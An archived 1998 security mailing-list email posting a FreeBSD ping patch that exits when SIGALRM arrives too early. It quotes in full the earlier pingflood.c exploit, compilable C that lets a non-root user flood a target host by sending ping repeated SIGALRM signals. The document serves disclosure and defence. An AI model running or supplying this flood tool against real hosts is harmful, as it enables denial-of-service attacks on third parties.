Date: Fri, 15 May 1998 19:45:42 -0500 (CDT) From: Jason Young <doogie@forbidden-donut.anet-stl.com> To: AntireZ <md5330@MCLINK.IT> Cc: BUGTRAQ@NETSPACE.ORG, freebsd-security@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: pingflood.c Message-ID: <Pine.BSF.3.96.980515193936.5796C-100000@forbidden-donut.anet-stl.com> In-Reply-To: <352CAAE8.CC902ABA@mclink.it>
next in thread | previous in thread | raw e-mail | index | archive | help
-----BEGIN PGP SIGNED MESSAGE-----
This patch for FreeBSD's ping seems to defeat the SIGALRM flood exploit. I
suspect it applies to all the other *BSD's as well. I have done only
MINIMAL testing, so comments and other fixes are welcome.
Jason Young
ANET Chief Network Engineer
*** ping.c Fri Mar 6 07:07:12 1998
- --- ping.c.new Fri May 15 19:40:23 1998
***************
*** 158,167 ****
- --- 158,168 ----
double tsumsq = 0.0; /* sum of all times squared, for std. dev. */
volatile sig_atomic_t finish_up; /* nonzero if we've been told to finish up */
int reset_kerninfo;
volatile sig_atomic_t siginfo_p;
+ volatile time_t lasttime;
static void fill(char *, char *);
static u_short in_cksum(u_short *, int);
static void catcher(int sig);
static void check_status(void);
***************
*** 209,218 ****
- --- 210,220 ----
setuid(getuid());
uid = getuid();
preload = 0;
+ lasttime = 0;
datap = &outpack[8 + sizeof(struct timeval)];
while ((ch = getopt(argc, argv, "I:LQRT:c:adfi:l:np:qrs:v")) != -1) {
switch(ch) {
case 'a':
***************
*** 518,540 ****
static void
catcher(int sig)
{
int waittime;
struct sigaction si_sa;
! pinger();
if (!npackets || ntransmitted < npackets)
(void)alarm((u_int)interval);
else {
- - if (nreceived) {
- - waittime = 2 * tmax / 1000;
- - if (!waittime)
- - waittime = 1;
- - } else
- - waittime = MAXWAIT;
- -
si_sa.sa_handler = stopit;
sigemptyset(&si_sa.sa_mask);
si_sa.sa_flags = 0;
if (sigaction(SIGALRM, &si_sa, 0) == -1) {
finish_up = 1;
- --- 520,551 ----
static void
catcher(int sig)
{
int waittime;
struct sigaction si_sa;
+ time_t timenow;
! if (nreceived) {
! waittime = 2 * tmax / 1000;
! if (!waittime)
! waittime = 1;
! } else
! waittime = MAXWAIT;
!
! /* Die if SIGALRM is caught earlier than it should have been. This
! * is usually the result of someone sending thousands of SIGALRMs
! * in an attempt to simulate a ping -f (flood).
! */
!
! if(time((time_t *)&timenow) < lasttime + waittime) exit(0);
! lasttime = timenow;
+ pinger();
+
if (!npackets || ntransmitted < npackets)
(void)alarm((u_int)interval);
else {
si_sa.sa_handler = stopit;
sigemptyset(&si_sa.sa_mask);
si_sa.sa_flags = 0;
if (sigaction(SIGALRM, &si_sa, 0) == -1) {
finish_up = 1;
- -----
On Thu, 9 Apr 1998, AntireZ wrote:
> /*
>
> pingflood.c by (AntireZ) Salvatore Sanfilippo <md5330@mclink.it>
> enhanced by David Welton <davidw@cks.com>
> I tested it only on Linux RedHat 4.1 and 5.0.
> David Welton tested it on Debian GNU/Linux and OpenBSD reporting
> it works.
> This program is free software; you can redistribute it and/or modify
> it under the terms of the GNU General Public License as published by
> the Free Software Foundation; version 2 of the License.
>
>
> -------------------------------------------------------------------------
>
> pingflood.c allows non-root users to 'ping flood'.
>
> use it as follows:
>
> pingflood <hostname>
>
> WARNING: this program is only for demonstrative use only. USE IT AT
> YOUR
> OWN RISK! The authors decline all responsibility for
> damage caused by misuse of the program.
>
> *** if you use this program to cause harm to others, you are very
> small, petty and pathetic. ***
>
> to compile: gcc -o pingflood pingflood.c
>
>
> -------------------------------------------------------------------------
>
> TECHNICAL NOTES
>
> When ping runs it normally sends an ICMP ECHO_REQUEST every second.
> It accomplishes this using the alarm system call and waiting for a
> SIGALRM
> signal
> from the kernel.
> Pingflood simply sends a lot of SIGALRM signals to the ping process.
> It can
> do this because the ping process is owned by the user.
>
>
> Salvatore Sanfilippo
>
> */
>
> #include <signal.h>
>
> #define PING "/bin/ping"
>
> main( int argc, char *argv[] )
> {
> int pid_ping;
>
> if (argc < 2) {
> printf("use: %s <hostname>\n", argv[0]);
> exit(0);
> }
>
> if(!(pid_ping = fork()))
> execl(PING, "ping", argv[1], NULL);
>
> if ( pid_ping <=0 ) {
> printf("pid <= 0\n");
> exit(1);
> }
>
> sleep (1); /* give it a second to start going */
> while (1)
> if ( kill(pid_ping, SIGALRM) )
> exit(1);
> }
>
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQB1AwUBNVzhuKInE6ybC66VAQHkQQL/WP9ceHcc26zk+Dl9vHh2E08V16CMWsmi
wqVI7M69I9IgQ5Nl6Lz+7YOjJOIswQlM/SPispjfVFs3Y8WYB0z52OEM78Di0MDk
j/G0rgShagXwOsSWpkiFEB0sQWRnpc52
=BJzp
-----END PGP SIGNATURE-----
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-bugs" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.BSF.3.96.980515193936.5796C-100000>
